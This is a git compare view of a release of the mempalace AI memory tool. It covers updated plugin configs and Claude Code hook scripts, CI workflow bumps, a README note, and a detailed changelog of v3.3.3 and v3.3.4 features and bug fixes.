Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d53129ed12 | ||
|
|
58da0b15c3 | ||
|
|
7a466054b6 | ||
|
|
942f9ababa | ||
|
|
95b60b8316 | ||
|
|
3f254a5c31 | ||
|
|
5e540da06b | ||
|
|
9dd56ecb0a | ||
|
|
73541d1606 | ||
|
|
96bb80a356 | ||
|
|
7bc6090026 | ||
|
|
3b5ebcc9fc | ||
|
|
4a0f330cc1 | ||
|
|
37f373124e | ||
|
|
d7ca3c59a3 | ||
|
|
446795ab0c | ||
|
|
4cfbd60639 | ||
|
|
d7f4638157 | ||
|
|
fdfaf017ab | ||
|
|
e7fe6cae14 | ||
|
|
a3e3691e86 | ||
|
|
4ffd0bd57a | ||
|
|
f4440f1ce0 | ||
|
|
72cbfb5967 | ||
|
|
7a61ac75a4 | ||
|
|
de7801ecff | ||
|
|
003e569b39 | ||
|
|
c3ec708b12 | ||
|
|
f80c9ffa56 | ||
|
|
342270d6e5 | ||
|
|
cfca40c5ec | ||
|
|
3bebef1503 | ||
|
|
b7f0a8af01 | ||
|
|
347464146d | ||
|
|
04c48dd0fe | ||
|
|
f5c8b095dd | ||
|
|
88a53b2ffa | ||
|
|
bc5d3fa911 | ||
|
|
3deebfed19 | ||
|
|
fe56797762 | ||
|
|
8bb17724a7 | ||
|
|
eb4de04339 | ||
|
|
6a8beef604 | ||
|
|
1e3e89a78f | ||
|
|
9dbb4ced83 | ||
|
|
57ac669dbc | ||
|
|
0d349c3d86 | ||
|
|
899a5ec4c6 | ||
|
|
22f3d9be30 | ||
|
|
a0b7ba005d | ||
|
|
5e33592ba2 | ||
|
|
c92256f08f | ||
|
|
4d33f14988 | ||
|
|
4400734867 | ||
|
|
414aa3e20b | ||
|
|
30fc0ab865 | ||
|
|
025dd03047 | ||
|
|
0908786921 | ||
|
|
8a1fd95b1b | ||
|
|
4aa93e82ad | ||
|
|
43aa1aa24e | ||
|
|
7294b69ac8 | ||
|
|
247744296d | ||
|
|
942aae3ed5 | ||
|
|
9d18a1c32e | ||
|
|
b99e54546b | ||
|
|
5de5b0923d | ||
|
|
74ff5e6b98 | ||
|
|
e5e7a57930 | ||
|
|
db80f6e26c | ||
|
|
6890948e09 | ||
|
|
452630e927 | ||
|
|
5e57404502 | ||
|
|
34bc08fb30 | ||
|
|
57854c7e2e | ||
|
|
5b07b869b0 | ||
|
|
bc24aa14e2 | ||
|
|
67248330c5 | ||
|
|
ee12c07c54 | ||
|
|
0d9929c0dd | ||
|
|
7773432bca | ||
|
|
8df944a54d | ||
|
|
40d7958ca1 | ||
|
|
1998aede66 | ||
|
|
99b820cb42 | ||
|
|
7e18a70796 | ||
|
|
91a60263e3 | ||
|
|
320aab31e3 | ||
|
|
5ed24ad061 | ||
|
|
036742e888 | ||
|
|
000acc1e33 | ||
|
|
9b7536a1f7 | ||
|
|
374fb5656b | ||
|
|
c4eeec8642 | ||
|
|
8faf0042b5 | ||
|
|
23d534f8f3 | ||
|
|
f13b9a46a2 | ||
|
|
91c1d159af | ||
|
|
ec5f4eba9d | ||
|
|
133dfbfb41 | ||
|
|
b9e41286fa | ||
|
|
8d49b009e0 | ||
|
|
0197b2eea9 | ||
|
|
865a36bc5c | ||
|
|
fe051adc73 | ||
|
|
ed2ba726c9 | ||
|
|
031512438e | ||
|
|
3d529e7028 | ||
|
|
9fbdba17ca | ||
|
|
25c885ae0b | ||
|
|
fbd0904799 | ||
|
|
a4868a3589 | ||
|
|
5fd09d3693 | ||
|
|
94f168929a | ||
|
|
7a757916b3 | ||
|
|
174ecaf42c | ||
|
|
431e42a720 | ||
|
|
f246d25b7f | ||
|
|
8a6ebbe363 | ||
|
|
55c83e9f3d | ||
|
|
19ce58c143 | ||
|
|
61d6c3cc3c | ||
|
|
a851c7a7df | ||
|
|
ae1c52e43b | ||
|
|
02a88b0864 | ||
|
|
bcd07916a3 | ||
|
|
8ac98f038c | ||
|
|
b291d2a240 | ||
|
|
e2444a190c | ||
|
|
1b1854e5ae | ||
|
|
4631d6a7db | ||
|
|
b150d33398 | ||
|
|
035fe6d658 | ||
|
|
659cb815ea | ||
|
|
9486d8b129 | ||
|
|
d4cc367261 | ||
|
|
ec9084f4d8 | ||
|
|
851ebebc29 | ||
|
|
70d4c5471e | ||
|
|
36a8f219c2 | ||
|
|
10a743d5d8 | ||
|
|
df6c7d0dc3 | ||
|
|
c7bd2cd8e4 | ||
|
|
14d7444abe | ||
|
|
9e7fa1ceb5 | ||
|
|
6aebf458ff | ||
|
|
6fcfd34aa4 | ||
|
|
1fd16daac2 | ||
|
|
d1583750e8 | ||
|
|
6d252a0de4 | ||
|
|
4f799afd76 | ||
|
|
102372b179 | ||
|
|
9947ad06df | ||
|
|
df3ee289fc | ||
|
|
818b7f4d48 | ||
|
|
4f00390335 | ||
|
|
b595cb3978 | ||
|
|
9b35d9f760 | ||
|
|
23ee2a02fd | ||
|
|
02aafc0715 | ||
|
|
810f9a56c4 | ||
|
|
74e9cbcfd3 | ||
|
|
1b00f93b37 | ||
|
|
48eb6271a7 | ||
|
|
5522d348a5 | ||
|
|
9e53228ea3 | ||
|
|
982d421510 | ||
|
|
67a067701e | ||
|
|
be89e49add | ||
|
|
9f5b8f5fd6 | ||
|
|
4fb0ee57e7 | ||
|
|
1a180cd7cb | ||
|
|
6d42f61e64 | ||
|
|
2a5914b630 | ||
|
|
87102fb188 | ||
|
|
54c314d8d9 | ||
|
|
d657626736 | ||
|
|
2629ae5b71 | ||
|
|
0b316d4053 | ||
|
|
5d2da04bcd | ||
|
|
3004ac4ee4 | ||
|
|
2183d866f3 | ||
|
|
1531a253be | ||
|
|
5deb815f0b | ||
|
|
6a3a5c7a3d | ||
|
|
914945637c | ||
|
|
5189e0d652 | ||
|
|
118cbe40bd | ||
|
|
e17f219be8 | ||
|
|
7006a6b42d | ||
|
|
0e632df85d | ||
|
|
04d80eb363 | ||
|
|
c942f5866c | ||
|
|
c88b8a2e17 | ||
|
|
8adf35a13c | ||
|
|
1657a79649 | ||
|
|
84e2aa16e4 | ||
|
|
683e940f70 | ||
|
|
1dc55a791d | ||
|
|
be9214a190 | ||
|
|
5fe0c1c2ac | ||
|
|
e083cd6c84 | ||
|
|
fb1cf53919 | ||
|
|
5bf826046c | ||
|
|
5dfe853154 | ||
|
|
c924d07b3e |
@@ -1,9 +1,5 @@
|
||||
{
|
||||
"mempalace": {
|
||||
"command": "python3",
|
||||
"args": [
|
||||
"-m",
|
||||
"mempalace.mcp_server"
|
||||
]
|
||||
"command": "mempalace-mcp"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,24 @@
|
||||
#!/bin/bash
|
||||
# MemPalace PreCompact Hook — thin wrapper calling Python CLI
|
||||
# All logic lives in mempalace.hooks_cli for cross-harness extensibility
|
||||
INPUT=$(cat)
|
||||
echo "$INPUT" | python3 -m mempalace hook run --hook precompact --harness claude-code
|
||||
run_mempalace_hook() {
|
||||
if command -v mempalace >/dev/null 2>&1; then
|
||||
mempalace hook run "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then
|
||||
python3 -m mempalace hook run "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then
|
||||
python -m mempalace hook run "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
run_mempalace_hook --hook precompact --harness claude-code
|
||||
|
||||
@@ -1,5 +1,24 @@
|
||||
#!/bin/bash
|
||||
# MemPalace Stop Hook — thin wrapper calling Python CLI
|
||||
# All logic lives in mempalace.hooks_cli for cross-harness extensibility
|
||||
INPUT=$(cat)
|
||||
echo "$INPUT" | python3 -m mempalace hook run --hook stop --harness claude-code
|
||||
run_mempalace_hook() {
|
||||
if command -v mempalace >/dev/null 2>&1; then
|
||||
mempalace hook run "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then
|
||||
python3 -m mempalace hook run "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then
|
||||
python -m mempalace hook run "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2
|
||||
return 1
|
||||
}
|
||||
|
||||
run_mempalace_hook --hook stop --harness claude-code
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
"name": "mempalace",
|
||||
"source": "./.claude-plugin",
|
||||
"description": "AI memory system — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, guided setup.",
|
||||
"version": "3.3.2",
|
||||
"version": "3.3.4",
|
||||
"author": {
|
||||
"name": "milla-jovovich"
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "mempalace",
|
||||
"version": "3.3.2",
|
||||
"version": "3.3.4",
|
||||
"description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
|
||||
"author": {
|
||||
"name": "milla-jovovich"
|
||||
@@ -9,11 +9,7 @@
|
||||
"commands": [],
|
||||
"mcpServers": {
|
||||
"mempalace": {
|
||||
"command": "python3",
|
||||
"args": [
|
||||
"-m",
|
||||
"mempalace.mcp_server"
|
||||
]
|
||||
"command": "mempalace-mcp"
|
||||
}
|
||||
},
|
||||
"keywords": [
|
||||
|
||||
@@ -3,7 +3,7 @@ set -euo pipefail
|
||||
HOOK_NAME="${1:?Usage: mempal-hook.sh <hook-name>}"
|
||||
INPUT_FILE=$(mktemp) || { echo "Failed to create temp file" >&2; exit 1; }
|
||||
cat > "$INPUT_FILE"
|
||||
cat "$INPUT_FILE" | python3 -m mempalace hook run --hook "$HOOK_NAME" --harness codex
|
||||
cat "$INPUT_FILE" | mempalace hook run --hook "$HOOK_NAME" --harness codex
|
||||
EXIT_CODE=$?
|
||||
rm -f "$INPUT_FILE" 2>/dev/null
|
||||
exit $EXIT_CODE
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "mempalace",
|
||||
"version": "3.3.2",
|
||||
"version": "3.3.4",
|
||||
"description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.",
|
||||
"author": {
|
||||
"name": "milla-jovovich"
|
||||
@@ -21,11 +21,7 @@
|
||||
"hooks": "./hooks.json",
|
||||
"mcpServers": {
|
||||
"mempalace": {
|
||||
"command": "python3",
|
||||
"args": [
|
||||
"-m",
|
||||
"mempalace.mcp_server"
|
||||
]
|
||||
"command": "mempalace-mcp"
|
||||
}
|
||||
},
|
||||
"interface": {
|
||||
|
||||
@@ -17,6 +17,7 @@ jobs:
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: 'pip'
|
||||
- run: pip install -e ".[dev]"
|
||||
- run: python -m pytest tests/ -v --ignore=tests/benchmarks --cov=mempalace --cov-report=term-missing --cov-fail-under=80 --durations=10
|
||||
|
||||
@@ -26,7 +27,8 @@ jobs:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: "3.9"
|
||||
python-version: "3.13"
|
||||
cache: 'pip'
|
||||
- run: pip install -e ".[dev]"
|
||||
- run: python -m pytest tests/ -v --ignore=tests/benchmarks --cov=mempalace --cov-report=term-missing --cov-fail-under=80 --durations=10
|
||||
|
||||
@@ -36,7 +38,8 @@ jobs:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: "3.9"
|
||||
python-version: "3.13"
|
||||
cache: 'pip'
|
||||
- run: pip install -e ".[dev]"
|
||||
- run: python -m pytest tests/ -v --ignore=tests/benchmarks --cov=mempalace --cov-report=term-missing --cov-fail-under=80 --durations=10
|
||||
lint:
|
||||
@@ -46,6 +49,7 @@ jobs:
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: "3.11"
|
||||
cache: 'pip'
|
||||
- run: pip install "ruff>=0.4.0,<0.5"
|
||||
- run: ruff check .
|
||||
- run: ruff format --check .
|
||||
|
||||
@@ -23,7 +23,7 @@ jobs:
|
||||
permissions:
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
@@ -46,7 +46,7 @@ jobs:
|
||||
DOCS_EDIT_BRANCH: ${{ github.ref_name }}
|
||||
run: bun run docs:build
|
||||
|
||||
- uses: actions/upload-pages-artifact@v3
|
||||
- uses: actions/upload-pages-artifact@v5
|
||||
with:
|
||||
path: website/.vitepress/dist
|
||||
|
||||
@@ -63,4 +63,4 @@ jobs:
|
||||
steps:
|
||||
- name: Deploy to GitHub Pages
|
||||
id: deployment
|
||||
uses: actions/deploy-pages@v4
|
||||
uses: actions/deploy-pages@v5
|
||||
|
||||
@@ -16,7 +16,7 @@ jobs:
|
||||
check-versions:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Extract versions from all sources
|
||||
id: versions
|
||||
|
||||
@@ -6,6 +6,71 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
|
||||
---
|
||||
|
||||
## [3.3.4] — 2026-04-30
|
||||
|
||||
### Added
|
||||
|
||||
- **`mempalace init` now prompts to mine the same directory.** After entity confirmation, room detection, and gitignore guard, `init` shows a one-line scope estimate (e.g. `~423 files (~12 MB) would be mined into this palace.`) computed from its existing corpus walk, then asks `Mine this directory now? [Y/n]` (default yes) and runs `mine()` in-process if accepted. The estimate fires before the prompt so users on a real corpus aren't surprised by a minutes-long ChromaDB write. Declining prints the exact `mempalace mine <dir>` command for later. (#1181)
|
||||
- **New `--auto-mine` flag on `mempalace init`** for the non-interactive path (`mempalace init --auto-mine <dir>` skips the mine prompt and runs mine directly). `--yes` retains its existing scope of entity auto-accept only and still prompts for the mine step, so existing scripted callers see no behaviour change; combining `--yes --auto-mine` gives a fully non-interactive setup. (#1181)
|
||||
- **Cross-wing topic tunnels.** When two wings have confirmed `TOPIC` labels in common (the LLM-refine bucket from `mempalace init --llm`), the miner now drops a symmetric tunnel between them at mine time so the palace graph reflects shared themes (frameworks, vendors, recurring concepts). Tunnels are routed through the existing `create_tunnel` storage so they share dedup and persistence with explicit tunnels. Topic tunnels are stored under a synthetic `topic:<name>` room and tagged with `kind: "topic"` on the stored dict — this keeps them distinct from literal folder-derived rooms of the same name (a wing with both an `Angular` folder room and an `Angular` topic tunnel no longer collides at `follow_tunnels` read time) and gives LLMs scanning `list_tunnels` a visible discriminator. Threshold is configurable via `MEMPALACE_TOPIC_TUNNEL_MIN_COUNT` env var or `topic_tunnel_min_count` in `~/.mempalace/config.json` (default `1`). Manifest-dependency overlap and per-topic allow/deny lists remain out of scope. (#1180)
|
||||
- **Context-aware corpus detection at `mempalace init`.** A new Pass 0 runs at the start of `init` — before entity detection — and answers one question: *is this corpus an AI-dialogue record, and if so, which platform and what persona names has the user assigned to the agents?* Tier 1 is a free regex heuristic (well-known AI brand terms + turn-marker patterns, with a co-occurrence rule that suppresses ambiguous terms like `Claude`/`Gemini`/`Haiku` when no unambiguous AI signal is present, so French novels and astrology forums don't false-positive). Tier 2 is an LLM call (~$0.01 with Anthropic Haiku, free with local Ollama/LM Studio/llama.cpp/vLLM) that extracts `user_name` and `agent_persona_names` from dialogue structure. Result is persisted to `<palace>/.mempalace/origin.json` with a `schema_version: 1` envelope so downstream tools can read it. Entity classification then routes names matching `agent_persona_names` (case-insensitive) into a new `agent_personas` bucket instead of `people`, so a Claude Code transcript no longer misclassifies the user's `Echo`/`Sparrow`/`Cipher` agents as biological people. `llm_refine` receives the same context as a system-prompt preamble so it can disambiguate other ambiguous candidates with corpus-level knowledge too. Backwards compatible: callers that don't pass `corpus_origin` see the v3.3.3 return shape unchanged. (#TBD)
|
||||
- **`mempalace init` runs LLM-assisted refinement by default.** v3.3.3 made `--llm` opt-in; the LLM-assisted path is qualitatively better (extracts persona names, refines ambiguous classifications) so it now runs by default. Provider precedence is unchanged — Ollama at `http://localhost:11434` first, then openai-compat, then anthropic with API key. **Never blocks init on a missing LLM**: if no provider is reachable (Ollama not running, no API key set), init prints a one-line message pointing at `--no-llm` and falls through to the heuristic-only path. `--no-llm` is the new explicit opt-out. The legacy `--llm` flag is preserved as a deprecated alias of the default so scripted callers see no behaviour change. Cost story: zero for users with a local LLM (the majority on this repo), ~$0.01 per init for users with `ANTHROPIC_API_KEY` set who explicitly choose `--llm-provider anthropic`, zero for users with no LLM (graceful fallback). (#TBD)
|
||||
- **`mempalace mine --redetect-origin` flag.** Re-runs corpus-origin detection on the current corpus state and overwrites `<palace>/.mempalace/origin.json`. Useful when the corpus has grown since `mempalace init` and the stored origin may be stale. Heuristic-only by design (the flag is meant to be cheap); re-run `mempalace init` for full Tier 2 LLM refinement. Default `mempalace mine` does not touch `origin.json` — the flag is opt-in. (#TBD)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **Cross-wing topic tunnels for hyphenated dir names.** `mempalace init` recorded the `topics_by_wing` registry key under the raw directory name (e.g. `mempalace-public`), while `mempalace.yaml`'s `wing` field used the lower-cased + separator-collapsed slug (`mempalace_public`). At mine time the miner read the slug from the yaml and missed the registry, so `_compute_topic_tunnels_for_wing` returned `0` silently. Real-world: any project whose folder contained a hyphen or space lost every topic tunnel. Producer side: `cmd_init`, `room_detector_local`, `miner.load_config` no-yaml fallback, and `convo_miner` now all route through a shared `normalize_wing_name()` in `config.py` so future writes use the same key. Lookup side: `palace_graph.create_tunnel`, `list_tunnels`, `follow_tunnels`, and `find_tunnels` normalize incoming wing names too, so existing palaces with raw-name keys on disk also recover. (#1194, #1195, #1197, follow-up to #1180)
|
||||
- **HNSW index bloat from repeated resize+persist cycles.** ChromaDB's HNSW segment was growing into the tens of GB on palaces past ~15K drawers because `link_lists.bin` was being re-allocated on every flush. Setting `hnsw:batch_size` and `hnsw:sync_threshold` on collection metadata via the new `_HNSW_BLOAT_GUARD` constant pins the segment to one allocation per batch instead. Empirical: a fresh 39,792-drawer palace went from 30 GB on disk and segfaulting `mempalace status` to 376 MB and instant. Migration note — already-bloated palaces still need a `mempalace repair` or full re-mine; HNSW config is honoured at collection-create time only. (#1191, supersedes #346)
|
||||
- **`max_seq_id` poisoning from old `_fix_blob_seq_ids` shim.** The 0.6.x → 1.5.x BLOB-to-INTEGER migration was running `int.from_bytes(blob, 'big')` over chromadb 1.5.x's native `b'\x11\x11' + ASCII-digit` `max_seq_id` format, yielding ~1.23e18 integers that silently suppressed every subsequent `embeddings_queue` write for the affected segment. The shim is now narrowed to the `embeddings` table only, with an additional defense-in-depth guard that skips sysdb-10-prefixed BLOBs even there. New `mempalace repair --mode max-seq-id` un-poisons existing palaces either from a pre-corruption sidecar DB (exact restore) or heuristically (`MAX(embeddings.seq_id)` over the owning collection). (#1135)
|
||||
- **Auto-ingest hooks now mine the active transcript as `--mode convos`.** Stop and PreCompact hooks were spawning `mempalace mine <transcript-dir>` without `--mode`, defaulting to `projects` — so Claude Code session JSONLs were being ingested as if they were source code via `READABLE_EXTENSIONS`. The hooks now thread the correct mode through every spawn, and `MEMPAL_DIR` (when set) becomes additive rather than overriding the transcript path: a user with `MEMPAL_DIR` pointed at their project still gets the active conversation mined verbatim. Shell hooks also gained the same `_validate_transcript_path` rejection logic the Python entry point already had (extension + `..` traversal). (#1230, #1231)
|
||||
- **CLI `mempalace search` retrieval quality.** The CLI was using pure ChromaDB cosine distance with no BM25 rerank, so drawers containing every query term but embedding as noise (directory listings, diff output, shell logs) scored `Match: 0.0` alongside genuinely irrelevant results with no way to tell them apart. Wired the CLI through the same `_hybrid_rank` the `mempalace_search` MCP tool already used, and surfaced both `cosine=` and `bm25=` scores in the output so users see which component of the match is firing. MCP search was unaffected; this fixes the human-facing CLI parity gap.
|
||||
- **Legacy-palace distance-metric warning.** CLI search now detects palaces created before `hnsw:space=cosine` was consistently set and prints a one-line notice pointing at `mempalace repair`. Without the warning such palaces silently used L2 distance, under which the similarity display floored every result to `Match: 0.0`. New palaces mined today already set cosine correctly and now have invariant tests pinning that behavior so future refactors can't silently regress it. (#1179)
|
||||
- **Graceful Ctrl-C during `mempalace mine`.** Interrupting a long mine no longer dumps a multi-frame `KeyboardInterrupt` traceback. The main file-processing loop now catches the signal, prints `files_processed: N/M`, `drawers_filed: K`, and `last_file:` so the user knows what landed, then exits with code 130 (standard SIGINT). Already-filed drawers are upserted idempotently on re-mine via deterministic IDs, so resuming is safe. The hooks PID lock at `~/.mempalace/hook_state/mine.pid` is now also actively cleaned up in a `finally` when its entry points at us — clean exit, error, or interrupt — preventing the next hook fire from briefly waiting on a stale PID. (#1182)
|
||||
- **`mempalace init` is now idempotent across re-runs.** Running `init` twice on the same project produced different `origin.json` results because the first run wrote `entities.json` into the project directory, and the second run's corpus-origin sampling included that file as corpus content — shifting Tier 1's character-density math. Sampling now skips the per-project artifacts (`entities.json`, `mempalace.yaml`), so re-running `init` produces the same classification it did the first time. Pinned by an integration test in `tests/test_corpus_origin_integration.py`. (#TBD)
|
||||
- **HNSW divergence floor now scales with `hnsw:sync_threshold`.** The capacity probe added in #1227 hardcoded a 2,000-row floor for the "DIVERGED" decision, sized against chromadb's default `sync_threshold` of 1,000. The bloat-guard fix above (#1191) raised `hnsw:sync_threshold` to 50,000 without updating the divergence floor to track. Result: any new palace past ~100K drawers spent roughly 80% of each write cycle reporting `DIVERGED`, and `mcp_server._refresh_vector_disabled_flag` silently routed vector search to the BM25 fallback even though chromadb was behaving correctly. The floor now reads `hnsw:sync_threshold` from collection metadata and scales to `2 × sync_threshold`, preserving the legacy 2,000 fallback for older palaces that pre-date #1191. (#1287, fixes interaction between #1191 and #1227)
|
||||
- **Stop hook no longer crashes ChromaDB on reopen.** `ChromaBackend.get_collection(create=True)` was calling `client.get_or_create_collection` with metadata on every open. In chromadb 1.5.x, when that metadata differs from the stored collection metadata the Rust binding SIGSEGVs with no traceback — the failure mode behind the session-end stop-hook crashes reported in #1089. The call is now split into `get_collection` first, falling back to `create_collection` only when the collection does not yet exist. Existing palaces open without touching their metadata; new ones are created with the full settings as before. The MCP server's `_get_collection(create=True)` path (reached by `tool_add_drawer` and `tool_diary_write`, the latter being what the Stop hook fires at session end) carried the same metadata payload at a parallel call site and got the same try/except split applied, closing the crash class on both reopen paths. (#1089, #1262, #1289)
|
||||
- **`repair --mode max-seq-id` heuristic now decodes BLOB-typed `embeddings.seq_id` rows.** The recovery feature added in #1135 was running `int(row[0])` directly on the result of `MAX(e.seq_id)`. On palaces where chromadb 1.5.x has been writing seq_ids natively (8-byte big-endian uint64 BLOB), that raised `ValueError: invalid literal for int() with base 10: b'\x00\x00\x00\x00\x00\x00-\xae'` before the dry-run summary could print, leaving users with no path through the un-poison feature #1135 was specifically designed to provide. `_compute_heuristic_seq_id` now decodes BLOB return values via `int.from_bytes(val, "big")` and keeps the existing `int(val)` path for INTEGER rows. (#1254, #1288, follow-up to #1135)
|
||||
|
||||
---
|
||||
|
||||
## [3.3.3] — 2026-04-23
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **Install regression** — `mempalace-mcp` console script is now declared in `pyproject.toml` alongside `.claude-plugin/plugin.json`'s reference to it. In v3.3.2 the two drifted apart (plugin.json shipped the new `"command": "mempalace-mcp"` form before the matching entry point landed), so every fresh `pip install mempalace==3.3.2` produced a Claude Code plugin config pointing at a binary that wasn't installed. (#1093, #340)
|
||||
- Restore silent-save visibility after the Claude Code 2.1.114 client regression — production transcript saves were failing silently until this PR. (#1021)
|
||||
- Paginate `status`-path metadata fetches so large palaces don't trip SQLite variable limits. (#851)
|
||||
- Resolve the Claude plugin hook runner across platform / plugin-dir variations; previously broke on Windows and some macOS layouts. (#942)
|
||||
- Real `python3` resolution for `.sh` hooks with a `MEMPAL_PYTHON` override path. (#833)
|
||||
- Add optional `wing` parameter to `tool_diary_write` / `tool_diary_read` and derive per-project wing from the Claude Code transcript path when writing from the stop hook — diary entries from different projects no longer collapse into a shared default wing. (#659)
|
||||
- Treat empty string as "no filter" in `mempalace_search` `wing`/`room`; LLM agents that default to filling every optional parameter with `""` no longer get bounced with `must be a non-empty string`. (#1097, #1084)
|
||||
- Broaden `_wing_from_transcript_path` to handle Claude Code project folders without a `-Projects-` segment (e.g. `~/dev/<parent>/<project>`, `~/code/<project>`). The project name is now derived from the final dash-separated token of the encoded folder, so Linux users with code outside `~/Projects/` get per-project diary scoping instead of falling through to `wing_sessions`. (#1145, follow-up to #659)
|
||||
- `mempalace_diary_read(wing="")` now returns diary entries from every wing this agent has written to, matching the #1097 "empty-string as no filter" pattern. Previously defaulted to `wing_<agent>`, siloing entries that hooks wrote to project-derived wings. (#1145)
|
||||
- `mempalace mine` now skips the generated `entities.json` file so its contents aren't re-ingested as project content. (#1175)
|
||||
|
||||
### Improvements
|
||||
|
||||
- **Deterministic hook saves.** Save hook now uses a silent Python API path, so successive hook invocations produce reproducible results and zero data loss on the hot path. (#673)
|
||||
- **Graph cache with write-invalidation** inside `build_graph()` — warm-path calls no longer rebuild the palace-graph per request. (#661)
|
||||
- **`mempalace init` entity detection overhaul.** Canonical project names now come from package manifests (`package.json`, `pyproject.toml`, `Cargo.toml`, `go.mod`) and real people come from git commit authors, rather than being inferred from prose. Includes union-find dedup across name/email aliases, bot filtering that keeps `@users.noreply.github.com` humans, and automatic "mine" flagging by contribution share. (#1148)
|
||||
- **Regex detector accuracy.** CamelCase extraction so `MemPalace`, `ChromaDB`, `OpenAI` aren't fragmented; tighter versioned/hyphenated pattern kills `context-manager` / `multi-word` false positives; dialogue `^NAME:\s` requires ≥2 hits so `Created: <date>` metadata stops classifying field names as people; expanded stopwords for common English participles and descriptors; high-pronoun signal classifies as person rather than dumping to uncertain. (#1148)
|
||||
- **Init → miner wire-up.** Confirmed entities merge into `~/.mempalace/known_entities.json` on init, which the miner reads to tag drawer metadata for entity-filtered search. Previously init's output was not consumed by the miner; the per-project `entities.json` is kept as an audit trail. (#1157)
|
||||
- **Case-insensitive project dedup** across manifest, git, and convo sources so casing variants of the same project name collapse into one review entry. (#1175)
|
||||
|
||||
### Added
|
||||
|
||||
- i18n: Belarusian translation. (#1051)
|
||||
- i18n: entity detection for German, Spanish, and French locales. (#1001)
|
||||
- i18n: Traditional + Simplified Chinese entity detection. (#945)
|
||||
- **`mempalace init --llm`**: optional LLM-assisted entity classification. Defaults to local Ollama (zero-API); also supports any OpenAI-compatible endpoint (LM Studio, llama.cpp server, vLLM, OpenRouter, etc.) and the Anthropic Messages API. Runs interactively with a progress indicator; Ctrl-C cancels cleanly and returns partial results. Useful for prose-heavy folders where the regex detector struggles (diaries, transcripts, research notes). Opt-in only — default init path remains zero-API. (#1150)
|
||||
- **Claude Code conversation scanner.** `~/.claude/projects/<slug>/` directories now contribute project entities using each session's authoritative `cwd` metadata, avoiding slug-decoding ambiguity. (#1150)
|
||||
|
||||
### Known — deferred to v3.3.4
|
||||
|
||||
- HNSW parallel-insert SIGSEGV when `hnsw:num_threads` is unset on collection creation (#974) — fix in-flight as #976, awaiting rebase against develop.
|
||||
|
||||
---
|
||||
|
||||
## [3.3.2] — 2026-04-19
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
@@ -22,7 +22,7 @@ These are non-negotiable. Every PR, every feature, every refactor must honor the
|
||||
- **Verbatim always** — Never summarize, paraphrase, or lossy-compress user data. The system searches the index and returns the original words. If a user said it, we store exactly what they said. This is the foundational promise.
|
||||
- **Incremental only** — Append-only ingest after initial build. Never destroy existing data to rebuild. A crash mid-operation must leave the existing palace untouched.
|
||||
- **Entity-first** — Everything is keyed by real names with disambiguation by DOB, ID, or context. People matter more than topics.
|
||||
- **Local-first, zero API** — All extraction, chunking, and embedding happens on the user's machine. No cloud dependency for memory operations. No API keys required.
|
||||
- **Local-first, zero external API by default** — All extraction, chunking, embedding, and LLM-assisted refinement happens on the user's machine by default, using locally-hosted runtimes (Ollama, LM Studio, llama.cpp, vLLM, unsloth studio, etc.). External providers (Anthropic, OpenAI, Google) are supported via BYOK but are never required and never enabled silently. The system never sends user content to a service the user has not explicitly configured. "Local LLM" is not an external API — Ollama and equivalents running on localhost are part of the user's machine. External BYOK is always a deliberate user choice, never a default and never a silent fallback.
|
||||
- **Performance budgets** — Hooks under 500ms. Startup injection under 100ms. Memory should feel instant.
|
||||
- **Privacy by architecture** — The system physically cannot send your data because it never leaves your machine. No telemetry, no phone-home, no external service dependencies for core operations.
|
||||
- **Background everything** — Filing, indexing, timestamps, and pipeline work happen via hooks in the background. Nothing interrupts the user's conversation. Zero tokens spent on bookkeeping in the chat window.
|
||||
|
||||
@@ -149,6 +149,10 @@ system prompt:
|
||||
Two Claude Code hooks save periodically and before context compression:
|
||||
[mempalaceofficial.com/guide/hooks](https://mempalaceofficial.com/guide/hooks.html).
|
||||
|
||||
For per-message recall on top of the file-level chunks the hooks produce,
|
||||
run `mempalace sweep <transcript-dir>` periodically — it stores one
|
||||
verbatim drawer per user/assistant message, idempotent and resume-safe.
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
@@ -177,7 +181,7 @@ PRs welcome. See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
MIT — see [LICENSE](LICENSE).
|
||||
|
||||
